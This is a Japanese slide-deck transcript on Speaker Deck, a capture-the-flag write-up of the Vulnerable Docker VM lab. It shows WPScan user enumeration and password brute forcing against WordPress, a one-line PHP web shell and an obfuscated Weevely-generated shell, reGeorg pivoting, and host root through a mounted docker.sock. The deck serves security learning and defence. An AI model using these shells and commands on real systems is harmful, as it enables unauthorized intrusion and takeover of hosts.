Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
VulnerableDockerVM Writeup
Search
narupi
September 27, 2019
Technology
0
190
VulnerableDockerVM Writeup
WHESON_LTで使用した資料
narupi
September 27, 2019
Tweet
Share
More Decks by narupi
See All by narupi
Dockerコンテナからホストのrootを取る話
narupi
9
2.4k
Other Decks in Technology
See All in Technology
20241031_AWS_生成AIハッカソン_GenMuck
tsumita
0
110
Amazon_CloudWatch_ログ異常検出_導入ガイド
tsujiba
4
1.6k
カメラを用いた店内計測におけるオプトインの仕組みの実現 / ai-optin-camera
cyberagentdevelopers
PRO
1
130
AWS CDKでデータリストアの運用、どのように設計する?~Aurora・EFSの実践事例を紹介~/aws-cdk-data-restore-aurora-efs
mhrtech
4
680
いまさらのStorybook
ikumatadokoro
0
150
コンテンツを支える 若手ゲームクリエイターの アートディレクションの事例紹介 / cagamefi-game
cyberagentdevelopers
PRO
1
130
マネジメント視点でのre:Invent参加 ~もしCEOがre:Inventに行ったら~
kojiasai
0
490
Fargateを使った研修の話
takesection
0
140
プロポーザルのつくり方 〜個人技編〜 / How to come up with proposals
ohbarye
2
160
visionOSでの空間表現実装とImmersive Video表示について / ai-immersive-visionos
cyberagentdevelopers
PRO
1
110
Shift-from-React-to-Vue
calm1205
3
1.3k
サイバーエージェントにおける生成AIのリスキリング施策の取り組み / cyber-ai-reskilling
cyberagentdevelopers
PRO
2
200
Featured
See All Featured
For a Future-Friendly Web
brad_frost
175
9.4k
Fontdeck: Realign not Redesign
paulrobertlloyd
81
5.2k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
BBQ
matthewcrist
85
9.3k
Speed Design
sergeychernyshev
24
570
Typedesign – Prime Four
hannesfritz
39
2.4k
Unsuck your backbone
ammeep
668
57k
5 minutes of I Can Smell Your CMS
philhawksworth
202
19k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
26
1.4k
Learning to Love Humans: Emotional Interface Design
aarron
272
40k
The Art of Programming - Codeland 2020
erikaheidi
51
13k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
131
33k
Transcript
Vulnerable Docker VMで学ぶ 脆弱なコンテナ 2019/09/27 narupi(@ei1528)
2 ※注意事項 • 得た知識/技術の悪用厳禁 • 検証は自己責任 • 管理下以外のサーバ/アプリケーションに対して攻撃を行わない • 初心者なので内容に間違いがある場合がある
3 目的 • 攻撃側を知ることで防御力を高める術を知る • セキュリティにおいて攻撃側が如何に有利かを知る • セキュリティに興味関心を持つ
4 動機 • 最近Dockerにムカついたので破壊したくなった
5 Vulnerable Docker VMについて • NotSoSecureが提供しているVM • ( https://www.notsosecure.com/vulnerable-docker-vm/ )
• CTF形式
6 環境構築 • VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の 為ホストオンリーネットワークに変更する • Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する 今回のIP Kali :
192.168.56.100 Docker : 192.168.56.102
7 起動
8 対象調査 • ポートスキャン(nmap)を実施して対象の環境を把握する • (-sV:各ポートを利用しているサービスのバージョンを検出 • -A :OSとバージョンを検出)
9 対象調査 • 8000番ポートでApache2.4.10が動いている • (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ かる)
10 入り口を探す • サービス自体の脆弱性を突く • (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
脆弱性 etc…) • サービスの設定不備を突く • (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの 可能性 etc...)
11 サービスの脆弱性を調査 • Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ ージョンが動いていると考えられる(しっかりパッチを当てている環境だ とすると、0day exploit以外刺さらない) •
VMの意図と異なるのでこっちは利用しない
12 設定不備を調査 • 脆弱性スキャンツールを利用 • (OWASP ZAP, Burp Suite, Nikto,
WPScan) • 対象がWordPressなのでWPScanを試す
13 WPScanについて • Rubyで動作するWordPressの脆弱性スキャナ • WordPressにインストールされているテーマやプラグインの列挙 • (脆弱性のあるものだけを列挙したりできる) • ユーザ情報の列挙
• ユーザ名を指定してブルートフォース攻撃
14 WPScanの実施 • プラグイン/テーマの脆弱性については、VM公開時の状況がわからない ので切り捨てた(本来なら侵入経路に成り得る) • ユーザ情報を列挙してみる • wpscan --url
http://192.168.56.102:8000 --disable-tls-checks -- enumerate u
15 パスワードを総当りしてみる • ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻 撃を試す • (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用) • wpscan --url
http://192.168.56.102:8000/ -P 100k-most-used-passwords- NCSC.txt -U bob
16 パスワードを総当りしてみる 少し待つとパスワードが特定できる
17 WebShellを設置する方法 • WordPressのテーマを利用して設置 ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど) • WordPressにプラグインとして設置 ->オフラインならプラグインのアップロード オンラインならプラグインのインストール
18 WebShellとは • Webを介して実行するShell • 最も簡単なものはGETリクエストでコマンドを送信する形 → <?php system($_GET["cmd"]);?> •
高機能なものもある(今回はWeevelyを利用した) → Weevely https://github.com/epinna/weevely3
19 Weevelyについて • 難読化したPHPWebShellを生成するためセキュリティソフトに検知さ れにくい • Telnetのような形式の接続を提供してくれる
20 Weevelyが生成したWebShell <?php$Y=str_replace('Mk','','MkcMkreMkate_fMkuncMkMktion');$x='$k="bjfdd87j fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf))); $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i<jf$l;jf){fojfjfr(';$i='$j=0 ;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf',' ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>
21 コンテナに侵入 • .dockerenvが存在するかでコンテナ内であるかチェックする
22 コンテナ内でできること • curlやwgetが使える場合 -> 任意のバイナリが実行できる(nmapなど) • コンテナ間通信が許可されている場合 -> 他のコンテナの発見と侵入
• サービスの破壊,データの取得
23 DBの確認(Adminer設置) • PHPMyAdminのようなdb管理ツール(https://www.adminer.org/) • シングルファイルで動作するのでWordPressのテーマを編集することで 設置可能 • db認証情報はwp-configから抜き取れる
24 Adminer
25 他のコンテナを探す • nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード する • Ip rでroute情報を表示 • Nmapで同一ネットワークを調査する
-> 172.18.0.1~4が利用されている -> 8022に不明なサービス (8000はWordPress)
26 コンテナ内部ネットワークへアクセスする • 任意のPHPがアップロードできる状況にあるのでreGeorgを利用して SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg) • ProxychainsでreGeorgプロキシの情報を設定する • FoxyProxyでreGeorgプロキシの情報を設定する
27 Docker-SSH • 8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ とがわかる(https://github.com/jeroenpeeters/docker-ssh) • FoxyProxyを介してブラウザからアクセスする
28 ホストへ侵入する方法を探す • Docker-SSHコンテナへはパスワードなしでsshできるらしいので Proxychainsを利用してshellから作業をする(webだとセッションが切れ て大変だった) • /run以下を見るとdocker.sockが見えている -> docker.sockはデーモンプロセスと通信するためのソケット
-> docker.sockは特権で実行される(実質的にroot)
29 Docker in Docker(DinD)について • DinD対応イメージを利用してコンテナを作る • デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ プションを利用する必要がある(すべてのデバイスへのアクセスが可能に なる)
• 暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す る • ホストとコンテナが階層化されるのでお互いに見えない
30 Docker outside of Docker(DooD)について • ホストのDocker.sockをマウントすることでDockerデーモンを共有する • ホスト側のDockerをコンテナ側から実行する •
コンテナからホスト側が見える • DinDのようにゴミが溜まることはない
31 コンテナからホストのrootを取る • ホストのdocker.sockをマウントしている場合、dockerコマンドはホス ト側で実行したものと同じ結果が得られる →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ を立ち上げる(DooD) →適当な名前でルートディレクトリをマウントしてchrootでルートディ レクトリをマウントしたフォルダに変える →実質的なホストrootの奪取
32 HACKED
33 VMの脆弱な点をまとめると • WordPressのセキュリティ(コンテナへの侵入) ->wp-adminが見える, 脆弱なパスワードの運用 • Docker-SSHの運用方法(ホストへの侵入) ->docker.sockへの書き込み権限がある
34 まとめ • WordPressには気をつけよう • Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで きる • Docker imageはしっかり中身を理解して利用する
->Docker-SSHはdocker.sockをマウントする必要がある ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)
35 参考文献 • https://oioki.me/2017/09/vulnerable-docker-vm/ • https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure- com • https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/ •
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html • https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407 • https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/ • https://qiita.com/toto1310/items/64d7db407d31fd802f9c